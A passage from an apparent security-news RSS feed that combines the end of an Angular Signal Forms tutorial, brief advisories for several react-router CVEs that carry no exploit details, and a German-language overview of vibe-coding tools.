<p>In a signal-first approach, the form’s data model is treated as the single source of truth. Signals are used to represent that state directly, rather than mirroring it through control hierarchies or intermediary objects. The form itself becomes a projection over the state, attaching semantics such as validation, interaction metadata, and submission behavior without duplicating or owning the data.</p>



<p>This distinction is subtle but important. Traditional form models often encourage developers to think of the form as the container of state, with values flowing in and out through events. A signal-first model reverses that relationship. State exists independently of the form, and the form derives its behavior from that state. This makes it easier to inspect, reason about, and test form behavior, because the underlying data remains explicit and accessible.</p>



<p>The examples in this section are therefore intentionally minimal. They are not meant to demonstrate every feature of Angular Signal Forms, but to illustrate how a state-driven representation reshapes form architecture. The emphasis is on structure and intent rather than mechanics. More detailed implementation concerns, such as asynchronous validation, persistence, and UI composition, are explored in the following article.</p>



<p>Once we accept that form behavior is largely derived from state, the next question becomes how that idea is expressed in Angular itself. Angular’s Signal Forms API is a direct response to this shift in thinking. Rather than modeling forms as trees of controls emitting events, Signal Forms begin with a signal-backed model and layer form behavior validation, interaction state, and submission on top of it.</p>



<p>The starting point is still the same: a plain data model representing the values the form collects. In a signal-first approach, this model is wrapped in a writable signal and treated as the single source of truth. There is no duplication of state between the UI and the form model, and no need to synchronize multiple representations of the same data.</p>



<p>From this model signal, a form instance is created using Angular’s <code>form()</code> function. The role of this function is not to introduce a second state container, but to attach form semantics to an existing state object. The form instance provides structured access to fields, validation results, and interaction metadata, all of which are exposed as signals.</p>



<p>Validation is declared through a schema function passed to <code>form()</code>. This schema associates validation rules directly with specific fields in the model. Built-in validators such as <code>required()</code> and <code>email()</code> express constraints declaratively, and Angular automatically reevaluates them whenever the underlying values change. Validation results are not stored imperatively; they are derived and exposed through field-level signals such as i<code>nvalid()</code>, <code>errors()</code>, and <code>pending()</code>.</p>



<p>This design is significant because it keeps validation aligned with the mental model established earlier. Validation rules do not “run” in response to events. They describe constraints on state. When state changes, derived validation state updates automatically, without subscriptions, listeners, or life-cycle hooks.</p>



<h3 class="wp-block-heading">Angular Signals Form example</h3>



<p>A minimal example illustrates the shape of this approach. The model remains a simple interface, and the signal holds the current form values.</p>



<pre class="wp-block-code"><code>interface RegistrationData {
  email: string;
  password: string;
  confirmPassword: string;
  acceptedTerms: boolean;
}
</code></pre>



<p>The form is then created by passing this model signal into <code>form()</code>, along with a schema that declares validation rules.</p>



<pre class="wp-block-code"><code>const registrationModel = signal<registrationdata>({
  email: '',
  password: '',
  confirmPassword: '',
  acceptedTerms: false,
});

const registrationForm = form(registrationModel, (schema) =&gt; {
  required(schema.email, { message: 'Email is required' });
  email(schema.email, { message: 'Enter a valid email address' });

  required(schema.password, { message: 'Password is required' });
  required(schema.confirmPassword, { message: 'Please confirm your password' });

  required(schema.acceptedTerms, {
    message: 'You must accept the terms to continue',
  });
});
</registrationdata></code></pre>



<p>What matters here is not the syntax, but the structure. The model signal defines <em>what the form is</em>. The schema defines <em>what constraints apply</em>. Angular takes responsibility for deriving field state and exposing it through signals that the UI can consume directly.</p>



<p>Each field now has a clear, inspectable state. Whether a field is valid, invalid, touched, or pending is no longer inferred by tracing event streams or subscription chains. It is available as a signal, derived from the current model and the declared rules. This makes form behavior easier to reason about, test, and debug.</p>



<p>Just as importantly, this model scales naturally. Cross-field validation, such as checking that two password fields match, can be expressed declaratively using schema-level logic that reads from multiple fields. Form-level state, such as whether submission should be allowed, is derived rather than toggled imperatively. The form remains a projection of the state, not a controller of behavior.</p>



<p>I have avoided discussing templates or DOM integration here. The purpose of this section is to show that Angular’s Signal Forms align closely with the first-principles model introduced above. They do not replace that model; they formalize it.</p>



<p>In the next article in this series, we will connect this signal-first form to an actual Angular component. We will bind fields to inputs, render validation feedback using field state signals, and implement submission logic. This implementation will form the foundation of the GitHub example that accompanies this series and will be extended in later articles to cover asynchronous validation, persistence, and hybrid approaches.</p>



<h2 class="wp-block-heading">The power of Signals</h2>



<p>Angular Signals represent a deliberate shift in how reactivity is expressed within the framework. Rather than focusing on events, emissions, and coordination, Signals encourage developers to describe relationships between values. Computation becomes declarative, dependencies become explicit, and behavior becomes easier to reason about by inspection rather than reconstruction.</p>



<p>This does not diminish the role of RxJS. Event streams, asynchronous workflows, and integration with external systems remain essential parts of modern applications. Signals and RxJS solve different problems, and treating them as interchangeable inevitably leads to confusion. When each is used for what it does best — Signals for state and derivation, RxJS for coordination and side effects — the resulting architecture becomes clearer and more maintainable.</p>



<p>Viewed through this lens, the appeal of Signals is not novelty, but alignment. Signals map closely to how developers already think about state: as something that exists now, from which other values can be derived deterministically. This alignment reduces cognitive overhead, particularly in parts of an application where behavior is dominated by state rather than time.</p>



<p>With this understanding in place, we can now turn to practice. The next article applies these ideas to a concrete Angular example, showing how a signal-first approach reshapes form modeling, validation, and UI logic without reintroducing event-driven complexity.</p>



<hr class="wp-block-separator has-alpha-channel-opacity">
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-42342 | remix-run react-router up to 7.14.x Requests resource consumption (GHSA-8x6r-g9mw-2r78 / EUVD-2026-34000)]]></title>
<description><![CDATA[A vulnerability was found in remix-run react-router up to 7.14.x and classified as problematic. This issue affects some unknown processing of the component Requests Handler. The manipulation results in resource consumption.

This vulnerability is cataloged as CVE-2026-42342. The attack may be lau...]]></description>
<link>https://tsecurity.de/de/3571317/sicherheitsluecken/cve-2026-42342-remix-run-react-router-up-to-714x-requests-resource-consumption-ghsa-8x6r-g9mw-2r78-euvd-2026-34000/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571317/sicherheitsluecken/cve-2026-42342-remix-run-react-router-up-to-714x-requests-resource-consumption-ghsa-8x6r-g9mw-2r78-euvd-2026-34000/</guid>
<pubDate>Thu, 04 Jun 2026 04:51:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/remix-run:react-router">remix-run react-router up to 7.14.x</a> and classified as <a href="https://vuldb.com/kb/risk">problematic</a>. This issue affects some unknown processing of the component <em>Requests Handler</em>. The manipulation results in resource consumption.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-42342">CVE-2026-42342</a>. The attack may be launched remotely. There is no exploit available.

It is suggested to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-42211 | remix-run react-router up to 7.14.1 createBrowserRouter/ deserialization (GHSA-49rj-9fvp-4h2h / EUVD-2026-33999)]]></title>
<description><![CDATA[A vulnerability labeled as problematic has been found in remix-run react-router up to 7.14.1. The impacted element is an unknown function of the file createBrowserRouter/. Executing a manipulation can lead to deserialization.

This vulnerability is handled as CVE-2026-42211. The attack can be exe...]]></description>
<link>https://tsecurity.de/de/3571315/sicherheitsluecken/cve-2026-42211-remix-run-react-router-up-to-7141-createbrowserrouter-deserialization-ghsa-49rj-9fvp-4h2h-euvd-2026-33999/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571315/sicherheitsluecken/cve-2026-42211-remix-run-react-router-up-to-7141-createbrowserrouter-deserialization-ghsa-49rj-9fvp-4h2h-euvd-2026-33999/</guid>
<pubDate>Thu, 04 Jun 2026 04:51:11 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/remix-run:react-router">remix-run react-router up to 7.14.1</a>. The impacted element is an unknown function of the file <em>createBrowserRouter/</em>. Executing a manipulation can lead to deserialization.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-42211">CVE-2026-42211</a>. The attack can be executed remotely. There is not any exploit available.

The affected component should be upgraded.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-40181 | remix-run react-router up to 6.30.3/7.14.0 Relative URL redirect (GHSA-2j2x-hqr9-3h42 / EUVD-2026-33996)]]></title>
<description><![CDATA[A vulnerability was found in remix-run react-router up to 6.30.3/7.14.0. It has been declared as problematic. The affected element is the function redirect of the component Relative URL Handler. Such manipulation leads to open redirect.

This vulnerability is documented as CVE-2026-40181. The att...]]></description>
<link>https://tsecurity.de/de/3571015/sicherheitsluecken/cve-2026-40181-remix-run-react-router-up-to-63037140-relative-url-redirect-ghsa-2j2x-hqr9-3h42-euvd-2026-33996/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571015/sicherheitsluecken/cve-2026-40181-remix-run-react-router-up-to-63037140-relative-url-redirect-ghsa-2j2x-hqr9-3h42-euvd-2026-33996/</guid>
<pubDate>Thu, 04 Jun 2026 00:53:34 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/remix-run:react-router">remix-run react-router up to 6.30.3/7.14.0</a>. It has been declared as <a href="https://vuldb.com/kb/risk">problematic</a>. The affected element is the function <code>redirect</code> of the component <em>Relative URL Handler</em>. Such manipulation leads to open redirect.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-40181">CVE-2026-40181</a>. The attack can be executed remotely. There is not any exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-33244 | remix-run react-router up to 7.13.1 HTML File createBrowserRouter/ HTML injection (GHSA-f22v-gfqf-p8f3 / EUVD-2026-33986)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, has been found in remix-run react-router up to 7.13.1. Affected by this vulnerability is an unknown functionality of the file createBrowserRouter/ of the component HTML File Handler. This manipulation causes HTML injection.

This vulnerability...]]></description>
<link>https://tsecurity.de/de/3571013/sicherheitsluecken/cve-2026-33244-remix-run-react-router-up-to-7131-html-file-createbrowserrouter-html-injection-ghsa-f22v-gfqf-p8f3-euvd-2026-33986/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571013/sicherheitsluecken/cve-2026-33244-remix-run-react-router-up-to-7131-html-file-createbrowserrouter-html-injection-ghsa-f22v-gfqf-p8f3-euvd-2026-33986/</guid>
<pubDate>Thu, 04 Jun 2026 00:53:31 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, has been found in <a href="https://vuldb.com/product/remix-run:react-router">remix-run react-router up to 7.13.1</a>. Affected by this vulnerability is an unknown functionality of the file <em>createBrowserRouter/</em> of the component <em>HTML File Handler</em>. This manipulation causes HTML injection.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-33244">CVE-2026-33244</a>. Remote exploitation of the attack is possible. No exploit is available.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-33245 | remix-run react-router up to 7.13.1 cross site scripting (GHSA-8646-j5j9-6r62 / EUVD-2026-33988)]]></title>
<description><![CDATA[A vulnerability was found in remix-run react-router up to 7.13.1 and classified as problematic. The impacted element is an unknown function. Such manipulation leads to cross site scripting.

This vulnerability is listed as CVE-2026-33245. The attack may be performed from remote. There is no avail...]]></description>
<link>https://tsecurity.de/de/3571012/sicherheitsluecken/cve-2026-33245-remix-run-react-router-up-to-7131-cross-site-scripting-ghsa-8646-j5j9-6r62-euvd-2026-33988/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571012/sicherheitsluecken/cve-2026-33245-remix-run-react-router-up-to-7131-cross-site-scripting-ghsa-8646-j5j9-6r62-euvd-2026-33988/</guid>
<pubDate>Thu, 04 Jun 2026 00:53:30 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/remix-run:react-router">remix-run react-router up to 7.13.1</a> and classified as <a href="https://vuldb.com/kb/risk">problematic</a>. The impacted element is an unknown function. Such manipulation leads to cross site scripting.

This vulnerability is listed as <a href="https://vuldb.com/cve/CVE-2026-33245">CVE-2026-33245</a>. The attack may be performed from remote. There is no available exploit.

It is suggested to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[Vibe-Coding-Tools – 19 empfehlenswerte Optionen]]></title>
<description><![CDATA[Vibe-Coding-Tools können dazu beitragen, die App-Entwicklung zu demokratisieren.BalanceFormCreative | shutterstock.com



Vibe Coding verspricht zwar seit seinem Aufkommen, die Softwareentwicklung wesentlich zu beschleunigen und zu demokratisieren, ist aber – insbesondere in einem professionellen...]]></description>
<link>https://tsecurity.de/de/3568348/it-security-nachrichten/vibe-coding-tools-19-empfehlenswerte-optionen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3568348/it-security-nachrichten/vibe-coding-tools-19-empfehlenswerte-optionen/</guid>
<pubDate>Wed, 03 Jun 2026 07:23:09 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/05/BalanceFormCreative_shutterstock_2269128885_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Coding Demokratisierung 16z9" class="wp-image-4176431" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Vibe-Coding-Tools können dazu beitragen, die App-Entwicklung zu demokratisieren.</figcaption></figure><p class="imageCredit">BalanceFormCreative | shutterstock.com</p></div>



<p>Vibe Coding verspricht zwar seit <a href="https://www.computerwoche.de/article/4086780/vibe-coding-erklart.html" target="_blank">seinem Aufkommen</a>, die Softwareentwicklung wesentlich zu beschleunigen und zu demokratisieren, ist aber – insbesondere in <a href="https://www.computerwoche.de/article/4152349/so-wird-ki-zum-compiler.html" target="_blank">einem professionellen Umfeld</a> – nicht unumstritten.</p>



<p>Inzwischen sind die Tools in diesem Bereich allerdings reif genug, um die anfänglichen Versprechen auch einzulösen. Zumindest, wenn es um Prototypen oder ein Minimum Viable Product (<a href="https://www.computerwoche.de/article/2772171/5-fragen-zum-mvp.html" target="_blank">MVP</a>) geht. Nur ein paar Textanweisungen, schon entspringt der KI etwas, das früher Wochen in Anspruch genommen hätte. Ganz zu schweigen vom damit verbundenen bürokratischen Aufwand für Business-Anwender.</p>



<p>Natürlich kann es beim Vibe Coding weiterhin zu <a href="https://www.computerwoche.de/article/4034385/9-wege-mit-vibe-coding-zu-scheitern.html" target="_blank">Fehlern und Versäumnissen</a> kommen. Dabei stellt sich allerdings die Frage, ob das schlimmer ist als das, was ein menschliches Team versehentlich verbocken oder übersehen könnte, wenn es das gleiche erstellt.</p>



<p>In diesem Artikel stellen wir Ihnen in aller Kürze 19 empfehlenswerte Vibe-Coding-Tools vor.</p>



<figure class="wp-block-embed is-type-rich is-provider-x wp-block-embed-x"><div class="wp-block-embed__wrapper youtube-video">
<blockquote class="twitter-tweet" data-width="500" data-dnt="true"><p lang="en" dir="ltr">Vibe coding now has an official illustrative GIF! <a href="https://t.co/dHKuJwTBzj">https://t.co/dHKuJwTBzj</a></p>— Simon Willison (@simonw) <a href="https://x.com/simonw/status/1903872293438406885?ref_src=twsrc%5Etfw">March 23, 2025</a></blockquote>
</div></figure>



<h2 class="wp-block-heading"><a href="https://base44.com/" target="_blank" rel="noreferrer noopener">Base44/Wix</a></h2>



<p>Im Fall von Base44 (inzwischen im Besitz <a href="https://www.wix.com/press-room/home/post/wix-further-expands-into-vibe-coding-with-acquisition-of-base44-a-hyper-growth-startup-that-simplif" target="_blank" rel="noreferrer noopener">von Wix</a>), beginnt mit einem „Builder Chat“, der die Datenarchitektur fokussiert. Davon ausgehend erstellt das Vibe-Coding-Tool auf Basis natürlichsprachlicher Anweisungen React- und Tailwind-Code für das Frontend, die in einem Deno-Backend zusammengeführt werden.</p>



<p>Um den Entwicklungsprozess zusätzlich zu beschleunigen, stehen diverse Templates für gängige Anwendungsfälle zur Verfügung, etwa in den Bereichen E-Commerce, Content-Management und Produktivität. Die <a href="https://www.computerwoche.de/article/3990415/wird-ki-das-neue-ui.html" target="_blank">Benutzeroberfläche</a> dieser Lösung lässt sich dabei über einen visuellen Editor im Drag-und-Drop-Verfahren anpassen.</p>



<h2 class="wp-block-heading"><a href="https://www.bettyblocks.com/" target="_blank" rel="noreferrer noopener">Betty Blocks</a></h2>



<p>Die Macher hinter der <a href="https://www.computerwoche.de/article/2802722/was-sie-ueber-no-code-plattformen-wissen-muessen.html" target="_blank">No-Code-Lösung</a> Betty Blocks wollen in erster Linie „Citizen Developer“ ansprechen – also Nicht-Programmierer, die jedoch wissen, welche Art von Anwendung ihr Fachbereich benötigt.</p>



<p>Aus der natürlichsprachlichen Beschreibung dieser Applikation erzeugt die Betty-Blocks-Plattform <a href="https://www.computerwoche.de/article/4144312/react-ein-tutorial.html" target="_blank">React-Code</a>. Dieser wird zur „Weiterverarbeitung“ in ein Code Repository exportiert – kann jedoch auch für zukünftige Deployment-Zwecke auf <a href="https://www.computerwoche.de/article/3968392/6-webassembly-fahige-sprachen.html" target="_blank">WASM</a>-Ebene kompiliert werden. Darüber hinaus bietet die Lösung auch einen Low-Code-Ansatz an, der eine visuelle Oberfläche für weitere Anpassungen und Verfeinerungen bereitstellt.</p>



<h2 class="wp-block-heading"><a href="https://blink.new/" target="_blank" rel="noreferrer noopener">Blink</a></h2>



<p>Der Code-Agent von Blink erstellt TypeScript-React-Anwendungen und bietet zwei Modi: den Agent-Modus (zum Erstellen) und den Chat-Modus (zum Planen).</p>



<p>Blink hostet jede Anwendung über sein internes <a href="https://www.computerwoche.de/article/2750121/was-sie-ueber-content-delivery-networks-wissen-muessen.html" target="_blank">Content Delivery Network</a>, ermöglicht es aber auch, diese auf eigene Server oder in die Cloud zu exportieren.</p>



<h2 class="wp-block-heading"><a href="https://bolt.new/" target="_blank" rel="noreferrer noopener">Bolt</a></h2>



<p>Der No-Code-Service von Bolt wurde mit dem Ziel entwickelt, ein singuläres visuelles Interface zu verschiedenen Backend-Coding-KIs bereitzustellen. Entsprechend ist es möglich, mit diversen verschiedenen Agenten zu arbeiten, darunter etwa Claude und Gemini.  </p>



<p>Weil das Tool über einen eigenständigen Design-Layer verfügt, lassen sich Standard-Designs erstellen, die dann von jeder App genutzt werden können, die die KI erzeugt. Bolt steht zudem als <a href="https://github.com/stackblitz/bolt.new" target="_blank" rel="noreferrer noopener">Open-Source-Version</a> zur Verfügung, die unter der MIT-Lizenz veröffentlicht wurde.</p>



<h2 class="wp-block-heading"><a href="http://bubble.io/" target="_blank" rel="noreferrer noopener">Bubble</a></h2>



<p>Auch bei Bubble handelt es sich um ein No-Code-Tool. Dieses umfasst verschiedene Funktionen, die weit über einen bloßen Chat hinausgehen. Ein visueller Editor ist ebenfalls mit an Bord, um die Benutzeroberfläche schnell und einfach auf die eigenen Bedürfnisse anzupassen.</p>



<p>Eine Workflow-Ansicht verschafft zudem Überblick über vieles, was im Hintergrund abläuft – und schafft damit Transparenz für die Benutzer. Die Zielsetzung dieses Tools besteht darin, den Menschen stärker als <a href="https://www.computerwoche.de/article/4086726/der-wahre-hebel-fur-ki-ist-der-mensch.html" target="_blank">Partner der KI</a> einzubinden.</p>



<h2 class="wp-block-heading"><a href="https://claude.com/product/claude-code" target="_blank" rel="noreferrer noopener">Claude Code</a></h2>



<p>Anthropics Vorzeige-LLM <a href="https://www.computerwoche.de/article/4141035/claude-code-im-praxistest.html" target="_blank">Claude</a> kann diverse Programmieraufgaben übernehmen – beispielsweise neue Applikationen erstellen oder alte reparieren. Das Backend lässt sich mit vielen traditionellen IDEs wie <a href="https://www.computerwoche.de/article/4123522/visual-studio-code-langweilig-aber-noch-on-top.html" target="_blank">Visual Studio Code</a> verbinden – oder auch mit einem Slack-Kanal.</p>



<p>Eine populärer Anwendungsfall für Claude Code ist, große Codebasen zu durchsuchen, um Probleme zu finden und zu beheben. Anwender loben außerdem, dass sich Claude sehr gut auf lokale Codierungsstandards ausrichten lässt.</p>



<h2 class="wp-block-heading"><a href="https://github.com/continuedev/continue" target="_blank" rel="noreferrer noopener">Continue</a></h2>



<p>Der quelloffene KI-Agent von Continue eignet sich am besten für <a href="https://www.computerwoche.de/article/4133885/darum-werden-ihre-besten-entwickler-langsamer.html" target="_blank">professionelle Entwickler</a>, die bei ihrer Arbeit zusätzliche Unterstützung wünschen. Das Tool überwacht Codebasen auf spezifische Trigger, beispielsweise neue Pull-Releases – und schaltet dann KI-Agenten ein, um diverse Routineaufgaben zu erledigen.</p>



<p>Die Zielsetzung bei diesem Tool besteht darin, menschlichen Profis die langweiligsten Tasks zu ersparen, damit diese sich darauf konzentrieren können, kreativ zu sein. Continue lässt sich in diverse IDEs und <a href="https://www.computerwoche.de/article/4004872/die-besten-apis-um-ki-zu-integrieren.html" target="_blank">KI-APIs</a> integrieren.</p>



<h2 class="wp-block-heading"><a href="http://create.xyz/" target="_blank" rel="noreferrer noopener">Create.xyz</a></h2>



<p>Das Tool von Create.xyz heißt “Anything” und soll jede erdenkliche React/Tailwind-App aus einem simplen Text-<a href="https://www.computerwoche.de/article/4042963/5-tipps-um-besser-zu-prompten.html" target="_blank">Prompt</a> erstellen können.</p>



<p>Die Ergebnisse werden aus vielen stilisierten Komponenten für Tasks, die sowohl im Browser als auch auf mobilen Plattformen gut laufen (etwa <a href="https://www.computerwoche.de/article/3497295/datenbank-how-to-fur-app-entwickler.html" target="_blank">Datenbankzugriff</a>) generiert. Entwickler können sich dann tiefgehend mit dem Code auseinandersetzen und persönliche Akzente setzen.</p>



<h2 class="wp-block-heading"><a href="https://cursor.com/" target="_blank" rel="noreferrer noopener">Cursor</a></h2>



<p>Vor allem Entwickler der alten Schule finden häufig Gefallen an Cursor. Dieses Tool generiert neuen Code, überprüft alten und trackt entstehende Probleme – zum Beispiel über <a href="https://www.computerwoche.de/article/3842841/7-slack-apps-fur-teamarbeiter.html" target="_blank">Slack</a>.</p>



<p>Zudem ist diese Lösung in der Lage, mehrere Dateien gleichzeitig zu bearbeiten und komplette Codebasen zu analysieren, bevor sie einen Aktionsplan vorschlägt. Cursor ist vor allem für den Einsatz in traditionellen Entwicklungsumgebungen konzipiert.</p>



<h2 class="wp-block-heading"><a href="http://emergent.sh/" target="_blank" rel="noreferrer noopener">Emergent</a></h2>



<p>Die Webanwendung von Emergent ist ein Frontend für <a href="https://www.computerwoche.de/article/4157192/multi-agenten-systeme-die-neuen-microservices.html" target="_blank">KI-Agenten-Teams</a>. Aus einer einfachen Text-Beschreibung entsteht ein Frontend (React), ein Backend (Node.js), Datenbanken (<a href="https://www.computerwoche.de/article/4128783/4-self-contained-datenbanken-fur-entwickler.html" target="_blank">MongoDB</a>) sowie eine Sammlung von APIs mit vollständiger Integration (Stripe und Co.).</p>



<p>Die Zielsetzung ist es, die gesamte Development-Komplexität zu abstrahieren. Das soll Nicht-Entwicklern ermöglichen, alles zu erstellen, was sie wollen. Entwickler können es beispielsweise für  Prototypen nutzen – die <a href="https://www.computerwoche.de/article/4124442/ki-prototypen-in-die-produktion-uberfuhren-so-gehts.html" target="_blank">nahezu produktionsreif</a> sind.</p>



<h2 class="wp-block-heading"><a href="https://kilo.ai/" target="_blank" rel="noreferrer noopener">Kilo Code</a></h2>



<p>Der Open-Source-Agent von Kilo verfügt über eine Reihe von Funktionen, die für Programmierer interessant sind. Insbesondere solche, die regelmäßig größere Codebasen <a href="https://www.computerwoche.de/article/2824308/so-entwickeln-sie-besser.html" target="_blank">pflegen und erweitern</a>. Der Orchestrator-Modus hilft beispielsweise dabei, Arbeitspläne zu erstellen, die Code-Review-Funktion überprüft auf Fehler.</p>



<p>Eine Memory Bank speichert dabei übergeordnete Details zur Architektur des Projekts. Durch die Anbindung an mehr als 500 KI-Modelle dürften Anwender keine Probleme damit haben, <a href="https://www.computerwoche.de/article/4155050/25-fragen-die-zum-richtigen-llm-fuhren.html" target="_blank">das richtige für ihre Zwecke</a> zu integrieren. Zudem wird so die Bindung an einen (LLM-)Anbieter vermieden.</p>



<h2 class="wp-block-heading"><a href="https://www.lindy.ai/" target="_blank" rel="noreferrer noopener">Lindy</a></h2>



<p>Das Tool von Lindy ist darauf ausgelegt, „Agenten“ zu erstellen, bei denen es sich in der Regel um Code-Schnipsel handelt, die im Hintergrund arbeiten. Diese reagieren auf bestimmte Trigger wie eine Slack-Nachricht oder einen neuen Commit in einem Repository.</p>



<p>Diese Events lassen sich durch Hunderte verschiedene Webanwendungen auslösen, darunter auch die aller großen Cloud-Anbieter und Office-Organisationsplattformen wie Jira oder Zoho. Standardanwendungen lassen sich mit Lindy zudem über vordefinierte Templates noch schneller erstellen. Ein gängiger Anwendungsfall für dieses Tool ist beispielsweise ein KI-Agent für den <a href="https://www.computerwoche.de/article/3980070/ki-tutorial-fur-bessere-helpdesks.html" target="_blank">IT-Support</a>.</p>



<h2 class="wp-block-heading"><a href="https://lovable.dev/" target="_blank" rel="noreferrer noopener">Lovable</a></h2>



<p>Die No-Code-Oberfläche von Lovable erstellt Anwendungen per Chat-Anweisung und stellt sie über die Lovable-Cloud bereit. Das Tool kümmert sich um die Benutzeroberfläche (React plus Tailwind), die Business-Logik und die Datenbank (hauptsächlich Supabase).</p>



<p>Im Ergebnis ist Lovable eines der besten Werkzeuge, um besonders schnell zu Enterprise-reifen Prototypen mit ausgefeilten <a href="https://www.computerwoche.de/article/2834420/der-niedergang-des-user-interface.html" target="_blank">Benutzeroberflächen</a> zu kommen – und diverse Sicherheits- und Zugriffskontrollfunktionen zu erstellen, die für größere Umgebungen erforderlich sind.</p>



<h2 class="wp-block-heading"><a href="https://replit.com/" target="_blank" rel="noreferrer noopener">Replit</a></h2>



<p>Die No-Code-Lösung von Replit liefert Code in bis zu 30 <a href="https://www.computerwoche.de/article/2820140/8-sprachen-die-programmierer-zur-weissglut-treiben.html" target="_blank">Programmiersprachen</a> – darunter alle gängigen und auch weniger verbreitete. Das Haupt-Interface ist ein No-Code-Chatbot, anschließend wird der Code jedoch in ein Repository übertragen, wo er mit traditionellen Methoden weiter verfeinert werden kann.</p>



<p>Der Datenbank-Layer ist bei dieser Lösung ausgegliedert. Dadurch stehen etwa Optionen wie getrennte Datenbanken für Produktion und Testing zur Verfügung. Zudem beinhaltet Replit auch Enterprise-Funktionen – zum Beispiel für Teams, die gemeinsam per Chat eine App optimieren möchten.</p>



<h2 class="wp-block-heading"><a href="https://softgen.ai/" target="_blank" rel="noreferrer noopener">Softgen</a></h2>



<p>Das Softgen-Tool erstellt vollständige Next.js-Webanwendungen als MVP aus einfachen Textbeschreibungen und funktioniert mit den wichtigsten KI-Modellen wie Claude 4.5 oder <a href="https://www.computerwoche.de/article/4028024/gemini-cli-im-praxistest.html" target="_blank">Gemini</a>.</p>



<p>Dank einer <a href="https://softgen.ai/pricing" target="_blank" rel="noreferrer noopener">Pay-as-you-go-Option</a> bezahlen Anwender bei diesem Vibe-Coding-Tool nur für die Token, die sie für ihre Anwendung benötigen.</p>



<h2 class="wp-block-heading"><a href="https://trysolid.com/" target="_blank" rel="noreferrer noopener">Solid</a></h2>



<p>Solid legt den Schwerpunkt auf die Erstellung von“Enterprise Grade“- Apps, inklusive erstklassigen Security-Modellen und verteilter Bereitstellung.</p>



<p>Die Dokumentation betont die iterative Zusammenarbeit mit der KI und die Nutzung ihrer Stärken – nämlich ein React/Tailwind-Frontend mit einer Vielzahl von Backends zu generieren.</p>



<h2 class="wp-block-heading"><a href="https://www.tempo.new/" target="_blank" rel="noreferrer noopener">Tempo Labs</a></h2>



<p>Der visuelle Editor von Tempo Labs zielt darauf ab, menschliche Benutzer dazu zu befähigen, React-Apps schneller zu erstellen – um den Faktor Zehn. Einfache visuelle Aufgaben lassen sich dabei auch ganz <a href="https://www.computerwoche.de/article/4170715/so-integrieren-sie-ki-ohne-benutzer-zu-verprellen.html" target="_blank">ohne KI</a> ausführen.</p>



<p>Das Tool legt den Schwerpunkt auf Design und unterhält eine Bibliothek mit Standardelementen für jedes Projekt. Jede React-Codebasis kann importiert und mit vorgefertigten Komponenten und Vorlagen erweitert werden. Es ist ein Editor, der inspirieren kann.</p>



<h2 class="wp-block-heading"><a href="https://v0.app/" target="_blank" rel="noreferrer noopener">Vercel</a></h2>



<p>Die v0-Plattform von Vercel bietet eine ausgedehnte Template-Kollektion als Grundlage, um Anwendungen zu designen. Auch bei dieser Lösung ist das Haupt-Interface ein Chat-Fenster, über das sich jedes erdenkliche Design umsetzen lässt. Allerdings dienen die Templates hier sowohl als Inspiration als auch als gemeinsame Sprache, um die Spezifikationen zu verfassen.</p>



<p>Die Lösung bietet auch Designvorlagen, die die Harmonisierung verschiedener Anwendungen vereinfachen. Dazu definiert sie einmalig einen Look und verwendet diesen dann wieder. Ein Schwerpunkt liegt dabei auf mobilen Browsern, was es vereinfacht, Webseiten zu erstellen, die für Mobilgeräte optimiert sind.</p>



<h2 class="wp-block-heading"><a href="https://windsurf.com/" target="_blank" rel="noreferrer noopener">Windsurf</a></h2>



<p>Windsurf ist eine integrierte Entwicklungsumgebung mit eingebetteter KI. Sie ist darauf ausgelegt, längere mehrstufige Pläne („Cascades“) zu generieren – etwa, um <a href="https://www.computerwoche.de/article/4032752/5-tipps-fur-bessere-bug-reports.html" target="_blank">Bugs</a> zu beheben oder eine Codebasis um Funktionen zu erweitern. Anders ausgedrückt: Windsurf ermöglicht Vibe Coding, das darauf ausgerichtet ist, traditionelle Dev-Techniken zu unterstützen.</p>



